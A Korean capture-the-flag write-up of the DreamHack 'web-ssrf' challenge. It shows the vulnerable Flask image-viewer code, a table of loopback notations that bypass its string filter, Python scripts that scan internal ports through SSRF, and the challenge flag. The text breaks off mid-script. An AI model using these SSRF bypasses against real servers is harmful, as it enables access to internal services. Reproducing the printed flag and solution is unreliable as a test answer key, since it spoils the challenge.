[๐Ÿฅˆ Silver 2] SSRF๋กœ ๋‚ด๋ถ€ ํฌํŠธ ์Šค์บ” โ€” netloc ๋ฌธ์ž์—ด ํ•„ํ„ฐ๋ฅผ 0.0.0.0์œผ๋กœ ์šฐํšŒ โ€” DreamHack web-ssrf ํ’€์ด

2026-06-24ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 2] SSRF๋กœ ๋‚ด๋ถ€ ํฌํŠธ ์Šค์บ” โ€” netloc ๋ฌธ์ž์—ด ํ•„ํ„ฐ๋ฅผ 0.0.0.0์œผ๋กœ ์šฐํšŒ โ€” DreamHack web-ssrf ํ’€์ด

์ด๋ฏธ์ง€ ๋ทฐ์–ด๊ฐ€ ์ž…๋ ฅํ•œ URL์„ ์„œ๋ฒ„๊ฐ€ ๋Œ€์‹  ๊ฐ€์ ธ์™€ ๋ณด์—ฌ์ค€๋‹ค. ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค ์•ˆ์— flag.txt๋ฅผ ์„œ๋น™ํ•˜๋Š” ๋‚ด๋ถ€ SimpleHTTPRequestHandler๊ฐ€ 1500~1800 ์ค‘ ํ•œ ํฌํŠธ์— ๋–  ์žˆ๋‹ค. ํ•„ํ„ฐ๋Š” netloc์— `127.0.0.1`/`localhost` ๋ฌธ์ž์—ด์ด ์žˆ๋Š”์ง€๋งŒ ๋ณด๋ฏ€๋กœ, ๊ฐ™์€ loopback์„ ๊ฐ€๋ฆฌํ‚ค๋Š” `0.0.0.0`์œผ๋กœ ์šฐํšŒํ•˜๊ณ  ํฌํŠธ๋ฅผ ์ „์ˆ˜ ์Šค์บ”ํ•ด flag.txt๋ฅผ ์ฝ์—ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” web-ssrf ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 2 FLAG: DH{43dd2189056475a7f3bd11456a17ad71}

์ด๋ฆ„ ๊ทธ๋Œ€๋กœ SSRF ์ž…๋ฌธ ๋ฌธ์ œ๋‹ค. URL์„ ๋„ฃ์œผ๋ฉด ์„œ๋ฒ„๊ฐ€ ๊ทธ ์ฃผ์†Œ๋ฅผ ๋Œ€์‹  ๋ฐ›์•„์™€ ์ด๋ฏธ์ง€๋กœ ๋ณด์—ฌ์ฃผ๋Š” "์ด๋ฏธ์ง€ ๋ทฐ์–ด"๊ฐ€ ์žˆ๊ณ , ๊ฐ™์€ ์„œ๋ฒ„ ์•ˆ ์–ด๋”˜๊ฐ€์— flag๊ฐ€ ์ˆจ์–ด ์žˆ๋‹ค.

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” Image Viewer ๋งํฌ ํ•˜๋‚˜๋ฟ์ด๋ผ ๊ณต๊ฒฉ ํ‘œ๋ฉด์ด ์‚ฌ์‹ค์ƒ ๊ทธ ์ด๋ฏธ์ง€ ๋ทฐ์–ด ํผ ํ•˜๋‚˜๋กœ ์ขํ˜€์ง„๋‹ค
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” Image Viewer ๋งํฌ ํ•˜๋‚˜๋ฟ์ด๋ผ ๊ณต๊ฒฉ ํ‘œ๋ฉด์ด ์‚ฌ์‹ค์ƒ ๊ทธ ์ด๋ฏธ์ง€ ๋ทฐ์–ด ํผ ํ•˜๋‚˜๋กœ ์ขํ˜€์ง„๋‹ค

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…web-ssrf
๋‚œ์ด๋„๐Ÿฅˆ Silver 2
๋ถ„๋ฅ˜Web (SSRF)
์ŠคํƒPython + Flask + requests
์ œ๊ณตapp.py + ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ ์š”์ฒญ URL์˜ netloc ๋ฌธ์ž์—ด๋งŒ ๊ฒ€์‚ฌํ•˜๋Š” SSRF ํ•„ํ„ฐ

flag๋Š” Flask ๋ผ์šฐํŠธ๋กœ ๋…ธ์ถœ๋ผ ์žˆ์ง€ ์•Š๋‹ค. ๋Œ€์‹  ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋ณ„๋„ ์Šค๋ ˆ๋“œ๋กœ http.server.SimpleHTTPRequestHandler๋ฅผ ๋„์›Œ ์ž‘์—… ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ํ†ต์งธ๋กœ ์„œ๋น™ํ•˜๋Š”๋ฐ, ๊ทธ ๋””๋ ‰ํ„ฐ๋ฆฌ์— flag.txt๊ฐ€ ์žˆ๋‹ค.

์ด ๋‚ด๋ถ€ ์„œ๋ฒ„๋Š” 127.0.0.1์˜ ๋ฌด์ž‘์œ„ ํฌํŠธ(1500~1800)์—์„œ๋งŒ ๋“ฃ๋Š”๋‹ค. ์™ธ๋ถ€์—์„œ ์ง์ ‘ ๋ชป ๋‹ฟ๋Š”๋‹ค. ๊ทธ๋ž˜์„œ "์„œ๋ฒ„๊ฐ€ ๋Œ€์‹  ์š”์ฒญํ•ด ์ฃผ๋Š”" ์ด๋ฏธ์ง€ ๋ทฐ์–ด๋ฅผ ๋ฐœํŒ ์‚ผ์•„ ๋‚ด๋ถ€ ํฌํŠธ๋กœ SSRF๋ฅผ ๊ฑธ์–ด์•ผ ํ•œ๋‹ค. ๋ง‰์•„ ๋‘” ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•˜๊ณ , ๋–  ์žˆ๋Š” ํฌํŠธ๋ฅผ ์ฐพ์•„๋‚ด๋Š” ๊ฒŒ ์ „๋ถ€๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” SSRF์™€ ์ด ์•ฑ์˜ ๋‘ ์„œ๋ฒ„

SSRF(Server-Side Request Forgery)๋Š” "์„œ๋ฒ„๊ฐ€ ํด๋ผ์ด์–ธํŠธ ๋Œ€์‹  ์š”์ฒญ์„ ๋ณด๋‚ด๋Š”" ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜๋Š” ์ทจ์•ฝ์ ์ด๋‹ค. ์ด๋ฏธ์ง€ ํ”„๋ก์‹œ, ์›นํ›…, URL ๋ฏธ๋ฆฌ๋ณด๊ธฐ์ฒ˜๋Ÿผ ์‚ฌ์šฉ์ž๊ฐ€ ์ค€ ์ฃผ์†Œ๋ฅผ ์„œ๋ฒ„๊ฐ€ ์ง์ ‘ fetchํ•˜๋Š” ๊ณณ์ด๋ฉด ์–ด๋””๋“  ํ›„๋ณด๊ฐ€ ๋œ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์™ธ๋ถ€์—์„œ ๋ชป ๋‹ฟ๋Š” ๋‚ด๋ถ€๋งยทlocalhostยทํด๋ผ์šฐ๋“œ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ(169.254.169.254) ๊ฐ™์€ ๊ณณ์„, ์„œ๋ฒ„์˜ ์ž…์žฅ์—์„œ ๋Œ€์‹  ๊ธ์–ด์˜ค๊ฒŒ ๋งŒ๋“œ๋Š” ๊ฒŒ ํ•ต์‹ฌ์ด๋‹ค.

์ด ๋ฌธ์ œ์˜ app.py๋Š” ์„œ๋ฒ„๋ฅผ ๋‘˜ ๋„์šด๋‹ค.

# Flask โ€” ์™ธ๋ถ€์— ๋…ธ์ถœ๋˜๋Š” 8000 ํฌํŠธ
app.run(host="0.0.0.0", port=8000, threaded=True)
 
# ๋‚ด๋ถ€ ์ „์šฉ โ€” 127.0.0.1 ์˜ ๋ฌด์ž‘์œ„ ํฌํŠธ(1500~1800)์—์„œ cwd ๋ฅผ ์„œ๋น™
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
threading._start_new_thread(run_local_server, ())

SimpleHTTPRequestHandler๋Š” ํ”„๋กœ์„ธ์Šค์˜ ์ž‘์—… ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๊ทธ๋Œ€๋กœ ์ •์  ํŒŒ์ผ๋กœ ๋‚ด๋ณด๋‚ธ๋‹ค. Dockerfile์„ ๋ณด๋ฉด WORKDIR /app์ด๊ณ  flag.txt๊ฐ€ ๊ทธ ์•ˆ์— ๋“ค์–ด๊ฐ„๋‹ค. ์ฆ‰ http://127.0.0.1:<port>/flag.txt๋งŒ ๋•Œ๋ฆฌ๋ฉด flag๊ฐ€ ํ‰๋ฌธ์œผ๋กœ ๋‚˜์˜จ๋‹ค. ๋ฌธ์ œ๋Š” ๊ทธ ์š”์ฒญ์„ ์™ธ๋ถ€์—์„œ ์ง์ ‘ ๋ชป ๋ณด๋‚ธ๋‹ค๋Š” ๊ฒƒ๋ฟ์ด๋‹ค.

ADD ./deploy /app
WORKDIR /app
...
CMD ["app.py"]

๋ฐœํŒ์€ ์ด๋ฏธ์ง€ ๋ทฐ์–ด๋‹ค. ๋…ธ๋ฆด ๊ณณ์€ ๋‚ด๋ถ€ ํฌํŠธ์˜ flag.txt๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” img_viewer ํ•„ํ„ฐ

์š”์ฒญ์„ ๋Œ€์‹  ๋ณด๋‚ด ์ฃผ๋Š” ์—”๋“œํฌ์ธํŠธ๋Š” /img_viewer๋‹ค. POST๋กœ url์„ ๋ฐ›์•„ requests.get์œผ๋กœ ๊ฐ€์ ธ์˜จ ๋’ค, ์‘๋‹ต ๋ณธ๋ฌธ์„ base64๋กœ ์ธ์ฝ”๋”ฉํ•ด <img>๋กœ ๊ทธ๋ ค ์ค€๋‹ค.

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

๋œฏ์–ด๋ณด๋ฉด ๋ถ„๊ธฐ๊ฐ€ ์…‹์ด๋‹ค.

  • url์ด /๋กœ ์‹œ์ž‘ํ•˜๋ฉด โ†’ http://localhost:8000 ์„ ์•ž์— ๋ถ™์ธ๋‹ค. ์ฆ‰ Flask ์ž๊ธฐ ์ž์‹ (8000) ์œผ๋กœ๋งŒ ๊ฐ„๋‹ค. ๋‚ด๋ถ€ ์„œ๋ฒ„(1500~1800)๋กœ๋Š” ๋ชป ๊ฐ„๋‹ค.
  • netloc์— localhost ๋˜๋Š” 127.0.0.1 ๋ฌธ์ž์—ด์ด ์žˆ์œผ๋ฉด โ†’ error.png ๋ฐ˜ํ™˜. ์ฐจ๋‹จ.
  • ๊ทธ ์™ธ โ†’ requests.get(url) ๋กœ ๊ทธ๋Œ€๋กœ ๊ฐ€์ ธ์˜จ๋‹ค.

์—ฌ๊ธฐ์„œ ์‘๋‹ต์„ <img src="data:image/png;base64, {{ img }}"> ๋กœ ๊ทธ๋ ค ์ค€๋‹ค๋Š” ์ ์ด ์ค‘์š”ํ•˜๋‹ค. ๊ฐ€์ ธ์˜จ ๊ฒŒ PNG๋“  ํ…์ŠคํŠธ๋“  ์ผ๋‹จ base64๋กœ ๋ฐ•์•„ ๋Œ๋ ค์ฃผ๋ฏ€๋กœ, ์šฐ๋ฆฌ๋Š” base64๋งŒ ๋””์ฝ”๋“œํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ ๋ฐ›์•„์˜จ ์›๋ณธ ๋ฐ”์ดํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ์†์— ๋„ฃ๋Š”๋‹ค.

๋จผ์ € ์ •์ƒ ๋™์ž‘์„ ํ™•์ธํ–ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’ /static/dream.png๋ฅผ ๋„ฃ์œผ๋ฉด dreamhack ๋กœ๊ณ ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋œฌ๋‹ค โ€” ์„œ๋ฒ„๊ฐ€ ๋‚ด ๋Œ€์‹  ์š”์ฒญ์„ ๋ณด๋‚ด ์ค€๋‹ค๋Š” ์ฆ๊ฑฐ๋‹ค.

๊ธฐ๋ณธ ๋™์ž‘ ํ™•์ธ โ€” static ์•„๋ž˜์˜ dream.png ๋ฅผ ๋„ฃ์œผ๋ฉด ์ด๋ฏธ์ง€๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ํ‘œ์‹œ๋˜๋Š” ๊ธฐ์ค€์„  ํ™”๋ฉด์ด๋‹ค
๊ธฐ๋ณธ ๋™์ž‘ ํ™•์ธ โ€” static ์•„๋ž˜์˜ dream.png ๋ฅผ ๋„ฃ์œผ๋ฉด ์ด๋ฏธ์ง€๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ํ‘œ์‹œ๋˜๋Š” ๊ธฐ์ค€์„  ํ™”๋ฉด์ด๋‹ค

ํผ์€ ๋‹จ์ˆœํ•˜๋‹ค. URL ํ•œ ์นธ๊ณผ View ๋ฒ„ํŠผ.

img_viewer ํผ โ€” URL ํ•œ ์นธ๊ณผ View ๋ฒ„ํŠผ๋ฟ์ด๊ณ , ๊ฐ€์ ธ์˜จ ์‘๋‹ต์„ data URI ๋กœ ๊ทธ๋ ค ์ค€๋‹ค๋Š” ๊ฒŒ ์ค‘์š”ํ•˜๋‹ค
img_viewer ํผ โ€” URL ํ•œ ์นธ๊ณผ View ๋ฒ„ํŠผ๋ฟ์ด๊ณ , ๊ฐ€์ ธ์˜จ ์‘๋‹ต์„ data URI ๋กœ ๊ทธ๋ ค ์ค€๋‹ค๋Š” ๊ฒŒ ์ค‘์š”ํ•˜๋‹ค

๐Ÿ› ์‚ฝ์งˆ โ€” ๋ง‰ํžŒ ๋‘ ๊ธธ

๋‚ด๋ถ€ flag.txt๋ฅผ ํ–ฅํ•˜๋Š” ๋ช…๋ฐฑํ•ด ๋ณด์ด๋Š” ๊ธธ ๋‘˜์ด ๋จผ์ € ๋ง‰ํ˜”๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 1 โ€” /flag.txt ๋Š” Flask 8000 ์œผ๋กœ๋งŒ ๊ฐ„๋‹ค

/๋กœ ์‹œ์ž‘ํ•˜๋Š” URL์„ ๋„ฃ์œผ๋ฉด http://localhost:8000 ์ด ์•ž์— ๋ถ™๋Š”๋‹ค. /flag.txt๋ฅผ ๋„ฃ์–ด ๋ดค์ง€๋งŒ, ์ด๊ฑด ๋‚ด๋ถ€ ์„œ๋ฒ„(1500~1800)๊ฐ€ ์•„๋‹ˆ๋ผ Flask ์ž๊ธฐ ์ž์‹ ์œผ๋กœ ๊ฐ€๋Š” ๊ธธ์ด๋‹ค. Flask์—” flag.txt ๋ผ์šฐํŠธ๊ฐ€ ์—†์œผ๋‹ˆ 404 HTML์ด ๋Œ์•„์˜จ๋‹ค.

base64๋ฅผ ๋””์ฝ”๋“œํ•ด ๋ณด๋ฉด ์ด๋ฏธ์ง€๊ฐ€ ์•„๋‹ˆ๋ผ Flask 404 ํŽ˜์ด์ง€์˜€๋‹ค.

$ url=/flag.txt
TEXT 207B: '<!doctype html>\n<html lang=en>\n<title>404 Not Found</title>...'

/ ํ”„๋ฆฌํ”ฝ์Šค ๋ถ„๊ธฐ๋Š” ๋‚ด๋ถ€ ์„œ๋ฒ„๋กœ ๊ฐ€๋Š” ํ†ต๋กœ๊ฐ€ ์•„๋‹ˆ๋‹ค. ๋ฒ„๋ฆฐ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 2 โ€” 127.0.0.1 / localhost ๋Š” ํ†ต์งธ๋กœ ์ฐจ๋‹จ

๊ทธ๋Ÿผ ๋‚ด๋ถ€ ํฌํŠธ๋ฅผ ์ง์ ‘ ๊ฐ€๋ฆฌํ‚ค๋ฉด ๋˜์ง€ ์•Š์„๊นŒ ์‹ถ์–ด http://127.0.0.1:1571/flag.txt๋ฅผ ๋„ฃ์–ด ๋ดค๋‹ค. ๊ณง์žฅ error.png("Not Found X")๊ฐ€ ๋–ด๋‹ค. netloc์— 127.0.0.1 ๋ฌธ์ž์—ด์ด ์žˆ์œผ๋ฉด ๋ฌด์กฐ๊ฑด ์ฐจ๋‹จํ•˜๋Š” ๋ถ„๊ธฐ์— ๊ฑธ๋ฆฐ ๊ฒƒ์ด๋‹ค. localhost๋„ ๋˜‘๊ฐ™์ด ๋ง‰ํžŒ๋‹ค.

์ฐจ๋‹จ ์ง์ „์˜ ์ž…๋ ฅ ํ™”๋ฉด โ€” 127.0.0.1 ์„ ๊ทธ๋Œ€๋กœ ๋„ฃ์–ด ๋ณธ ๊ฒƒ์ด๋‹ค. ํ•„ํ„ฐ๊ฐ€ ๋ฐ”๋กœ ์ด ๋ฌธ์ž์—ด์„ ๊ทธ๋Œ€๋กœ ๊ฒ€์‚ฌํ•œ๋‹ค
์ฐจ๋‹จ ์ง์ „์˜ ์ž…๋ ฅ ํ™”๋ฉด โ€” 127.0.0.1 ์„ ๊ทธ๋Œ€๋กœ ๋„ฃ์–ด ๋ณธ ๊ฒƒ์ด๋‹ค. ํ•„ํ„ฐ๊ฐ€ ๋ฐ”๋กœ ์ด ๋ฌธ์ž์—ด์„ ๊ทธ๋Œ€๋กœ ๊ฒ€์‚ฌํ•œ๋‹ค
์ฐจ๋‹จ๋œ ๊ฒฐ๊ณผ โ€” ํ•„ํ„ฐ์— ๊ฑธ๋ ค error.png ๊ฐ€ ๋Œ์•„์˜จ๋‹ค. ๋‘ ๋ฌธ์ž์—ด๋งŒ ๋ณด๋ฏ€๋กœ ๋‹ค๋ฅธ ํ‘œ๊ธฐ๋ฅผ ์ฐพ์œผ๋ฉด ๋œ๋‹ค๋Š” ๋œป์ด๋‹ค
์ฐจ๋‹จ๋œ ๊ฒฐ๊ณผ โ€” ํ•„ํ„ฐ์— ๊ฑธ๋ ค error.png ๊ฐ€ ๋Œ์•„์˜จ๋‹ค. ๋‘ ๋ฌธ์ž์—ด๋งŒ ๋ณด๋ฏ€๋กœ ๋‹ค๋ฅธ ํ‘œ๊ธฐ๋ฅผ ์ฐพ์œผ๋ฉด ๋œ๋‹ค๋Š” ๋œป์ด๋‹ค

ํ•„ํ„ฐ๋Š” ์ •์งํ•˜๊ฒŒ ๋‘ ๋ฌธ์ž์—ด๋งŒ ๋ณธ๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด ๊ฐ™์€ ๊ณณ์„ ๊ฐ€๋ฆฌํ‚ค๋˜ ๊ทธ ๋‘ ๋ฌธ์ž์—ด์ด ์•ˆ ๋“ค์–ด๊ฐ€๋Š” ํ‘œ๊ธฐ๋ฅผ ์ฐพ์œผ๋ฉด ๋œ๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” 0.0.0.0 ์œผ๋กœ ๊ฐ™์€ loopback ๊ฐ€๋ฆฌํ‚ค๊ธฐ

ํ•„ํ„ฐ๊ฐ€ ๊ฒ€์‚ฌํ•˜๋Š” ๊ฑด urlparse(url).netloc์— ๋“ค์–ด๊ฐ„ ๋ฌธ์ž์—ด์ด๋‹ค. IP๊ฐ€ ์‹ค์ œ๋กœ ์–ด๋””๋กœ ๋ผ์šฐํŒ…๋˜๋Š”์ง€๋Š” ์•ˆ ๋ณธ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ 127.0.0.1์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ํ‘œ๊ธฐ๋Š” ํ•œ๋‘˜์ด ์•„๋‹ˆ๋‹ค.

ํ‘œ๊ธฐnetloc127.0.0.1 ํฌํ•จ?์‹ค์ œ ๋„์ฐฉ์ง€
127.0.0.1127.0.0.1:1571โœ… โ†’ ์ฐจ๋‹จloopback
localhostlocalhost:1571โœ…(localhost) โ†’ ์ฐจ๋‹จloopback
0.0.0.00.0.0.0:1571โŒ โ†’ ํ†ต๊ณผloopback
00:1571โŒ โ†’ ํ†ต๊ณผloopback
127.1127.1:1571โŒ โ†’ ํ†ต๊ณผloopback
21307064332130706433:1571โŒ โ†’ ํ†ต๊ณผloopback

๋ฆฌ๋ˆ…์Šค์—์„œ ๋ชฉ์ ์ง€ 0.0.0.0์œผ๋กœ connect()ํ•˜๋ฉด ์ปค๋„์ด loopback(127.0.0.1)์œผ๋กœ ๋ณด๋‚ธ๋‹ค. 0์€ 0.0.0.0์œผ๋กœ, 127.1์€ 127.0.0.1๋กœ, ์ •์ˆ˜ 2130706433์€ 0x7f000001(=127.0.0.1)๋กœ ๊ฐ๊ฐ ํ’€๋ฆฐ๋‹ค. ์ „๋ถ€ ๊ฐ™์€ ๋‚ด๋ถ€ ์„œ๋ฒ„์— ๋‹ฟ์ง€๋งŒ ํ•„ํ„ฐ์˜ ๋‘ ๋ฌธ์ž์—ด์€ ์•ˆ ๋“ค์–ด๊ฐ„๋‹ค.

์ด ๋ฌธ์ œ์˜ ์ „์ฒด ํ๋ฆ„์„ ๊ทธ๋ฆผ์œผ๋กœ ์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

web-ssrf ๊ณต๊ฒฉ ํ๋ฆ„ โ€” img_viewer๊ฐ€ 0.0.0.0์œผ๋กœ ๋‚ด๋ถ€ ํฌํŠธ๋ฅผ ๋Œ€์‹  ๊ธ๋Š”๋‹ค
web-ssrf ๊ณต๊ฒฉ ํ๋ฆ„ โ€” img_viewer๊ฐ€ 0.0.0.0์œผ๋กœ ๋‚ด๋ถ€ ํฌํŠธ๋ฅผ ๋Œ€์‹  ๊ธ๋Š”๋‹ค

์šฐํšŒ๊ฐ€ ๋˜๋Š”์ง€๋ถ€ํ„ฐ ํ™•์ธํ–ˆ๋‹ค. http://0.0.0.0:1571/ ์˜ ๋ฃจํŠธ๋ฅผ ๋ฐ›์•„์˜ค๋‹ˆ SimpleHTTPRequestHandler์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ชฉ๋ก์ด ๊ทธ๋Œ€๋กœ ๋Œ์•„์™”๋‹ค. flag.txt๊ฐ€ ๋ณด์ธ๋‹ค.

# peek_internal.py โ€” 0.0.0.0 ์šฐํšŒ๋กœ ๋‚ด๋ถ€ ์„œ๋ฒ„์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ชฉ๋ก์„ ๋ฐ›์•„๋ณธ๋‹ค
import base64, re, requests
BASE = "http://host3.dreamhack.games:12182"
r = requests.post(f"{BASE}/img_viewer",
                  data={"url": "http://0.0.0.0:1571/"}, timeout=10)
m = re.search(r"data:image/png;base64,\s*([A-Za-z0-9+/=]+)", r.text)
body = base64.b64decode(m.group(1)).decode("utf-8", "replace")
for name in re.findall(r'<li><a href="[^"]+">([^<]+)</a>', body):
    print(name)
0.0.0.0 ์šฐํšŒ๋กœ ๋ฐ›์•„ ๋ณธ ๋‚ด๋ถ€ ์„œ๋ฒ„์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ชฉ๋ก โ€” flag.txt ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋ณด์—ฌ ๊ฒฝ๋กœ๊ฐ€ ํ™•์ •๋œ๋‹ค
0.0.0.0 ์šฐํšŒ๋กœ ๋ฐ›์•„ ๋ณธ ๋‚ด๋ถ€ ์„œ๋ฒ„์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ชฉ๋ก โ€” flag.txt ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋ณด์—ฌ ๊ฒฝ๋กœ๊ฐ€ ํ™•์ •๋œ๋‹ค

๋‚ด๋ถ€ ์„œ๋ฒ„์— ๋‹ฟ๋Š” ๊ธธ์€ ๋šซ๋ ธ๋‹ค. ๋‚จ์€ ๊ฑด ํฌํŠธ ํ•˜๋‚˜๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” ํฌํŠธ ์Šค์บ”

๋‚ด๋ถ€ ํฌํŠธ๋Š” random.randint(1500, 1800)์œผ๋กœ ๋งค ์ธ์Šคํ„ด์Šค๋งˆ๋‹ค ๋‹ฌ๋ผ์ง„๋‹ค. 300๊ฐœ๋ฟ์ด๋‹ˆ SSRF๋กœ ์ „์ˆ˜ ์Šค์บ”ํ•˜๋ฉด ๋œ๋‹ค.

ํŒ๋ณ„ ๊ธฐ์ค€์ด ๊น”๋”ํ•˜๋‹ค. ๋‹ซํžŒ ํฌํŠธ๋Š” ์„œ๋ฒ„ ์•ˆ์—์„œ requests.get์ด ์—ฐ๊ฒฐ ๊ฑฐ๋ถ€๋กœ ์‹คํŒจํ•˜๊ณ , except์— ๊ฑธ๋ ค error.png๊ฐ€ ๋Œ์•„์˜จ๋‹ค. ์—ด๋ฆฐ ํฌํŠธ๋งŒ ๋‹ค๋ฅธ ์‘๋‹ต(์—ฌ๊ธฐ์„  flag.txt์˜ ํ‰๋ฌธ)์„ ์ค€๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ์‘๋‹ต์ด error.png์™€ ๋‹ค๋ฅด๋ฉด ๊ทธ ํฌํŠธ๊ฐ€ ์—ด๋ฆฐ ๊ฒƒ์ด๋‹ค.

๋จผ์ € ์ฐจ๋‹จ ์š”์ฒญ(http://127.0.0.1:1/)์œผ๋กœ error.png์˜ ๊ธฐ์ค€ ๋ฐ”์ดํŠธ๋ฅผ ์žก์•„ ๋‘๊ณ , 0.0.0.0์œผ๋กœ 1500~1800์„ ํ›‘์œผ๋ฉฐ ๊ทธ์™€ ๋‹ค๋ฅธ ์‘๋‹ต์„ ์ฐพ์•˜๋‹ค.

์šฐํšŒ ํŽ˜์ด๋กœ๋“œ ์ž…๋ ฅ โ€” 0.0.0.0 ํ‘œ๊ธฐ๋ฅผ ์จ์„œ ๋‚ด๋ถ€ ํฌํŠธ์˜ flag.txt ๋ฅผ ์ง์ ‘ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฃผ์†Œ๋ฅผ ๋„ฃ์—ˆ๋‹ค
์šฐํšŒ ํŽ˜์ด๋กœ๋“œ ์ž…๋ ฅ โ€” 0.0.0.0 ํ‘œ๊ธฐ๋ฅผ ์จ์„œ ๋‚ด๋ถ€ ํฌํŠธ์˜ flag.txt ๋ฅผ ์ง์ ‘ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฃผ์†Œ๋ฅผ ๋„ฃ์—ˆ๋‹ค

๋ธŒ๋ผ์šฐ์ €๋กœ ์ง์ ‘ ๋„ฃ์–ด ๋ณด๋ฉด ์‘๋‹ต์€ ๊นจ์ง„ ์ด๋ฏธ์ง€๋กœ ๋œฌ๋‹ค. ๋‹น์—ฐํ•˜๋‹ค. ๋Œ์•„์˜จ ๊ฑด PNG๊ฐ€ ์•„๋‹ˆ๋ผ flag.txt์˜ ํ…์ŠคํŠธ๋ผ, data:image/png ๋กœ ๋ฐ•ํ˜€๋„ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ชป ๊ทธ๋ฆฐ๋‹ค. ์ฆ‰ data: URI ์•ˆ์— base64๋กœ ๋“ค์–ด ์žˆ๋Š” ๊ฒŒ ๊ณง flag๋‹ค.

์šฐํšŒ ์„ฑ๊ณต โ€” ๋Œ์•„์˜จ ๊ฒƒ์ด PNG ๊ฐ€ ์•„๋‹ˆ๋ผ ํ…์ŠคํŠธ๋ผ ๊นจ์ง„ ์ด๋ฏธ์ง€๋กœ ๋œจ์ง€๋งŒ data URI ์•ˆ์— ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋“ค์–ด ์žˆ๋‹ค
์šฐํšŒ ์„ฑ๊ณต โ€” ๋Œ์•„์˜จ ๊ฒƒ์ด PNG ๊ฐ€ ์•„๋‹ˆ๋ผ ํ…์ŠคํŠธ๋ผ ๊นจ์ง„ ์ด๋ฏธ์ง€๋กœ ๋œจ์ง€๋งŒ data URI ์•ˆ์— ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋“ค์–ด ์žˆ๋‹ค

ํ™”๋ฉด์œผ๋กœ๋Š” ์•ˆ ๋ณด์ด๋‹ˆ base64๋ฅผ ๋””์ฝ”๋“œํ•ด ํ™•์ธํ•œ๋‹ค.


๐Ÿš€ Full Exploit

#!/usr/bin/env python3
# web-ssrf solve โ€” SSRF๋กœ ๋‚ด๋ถ€ SimpleHTTPRequestHandler(127.0.0.1:1500~1800)์˜ flag.txt ํšŒ์ˆ˜
# ํ•„ํ„ฐ ์šฐํšŒ: netloc์— "127.0.0.1"/"localhost" ๋ฌธ์ž์—ด์ด ์—†์œผ๋ฉด ํ†ต๊ณผ โ†’ 0.0.0.0 ์‚ฌ์šฉ
import base64, re, sys
import requests
 
BASE = "http://host3.dreamhack.games:12182"
SESS = requests.Session()
IMG_RE = re.compile(r"data:image/png;base64,\s*([A-Za-z0-9+/=]+)")
 
def fetch(url):
    """img_viewer์— url์„ ๋„ฃ๊ณ , ๋ Œ๋”๋œ img base64๋ฅผ ๋””์ฝ”๋“œํ•œ raw bytes๋ฅผ ๋ฐ˜ํ™˜."""
    r = SESS.post(f"{BASE}/img_viewer", data={"url": url}, timeout=10)
    m = IMG_RE.search(r.text)
    return base64.b64decode(m.group(1)) if m else None
 
# error.png ๊ธฐ์ค€๊ฐ’ ํ™•๋ณด (์ฐจ๋‹จ/์‹คํŒจ ์‹œ ๋Œ๋ ค์ฃผ๋Š” ์ด๋ฏธ์ง€)
ERROR_PNG = fetch("http://127.0.0.1:1/")
print(f"[*] error.png baseline: {len(ERROR_PNG)} bytes, head={ERROR_PNG[:8].hex()}")
 
# 0.0.0.0 ์šฐํšŒ๋กœ ๋‚ด๋ถ€ ํฌํŠธ ์Šค์บ”
for port in range(1500, 1801):
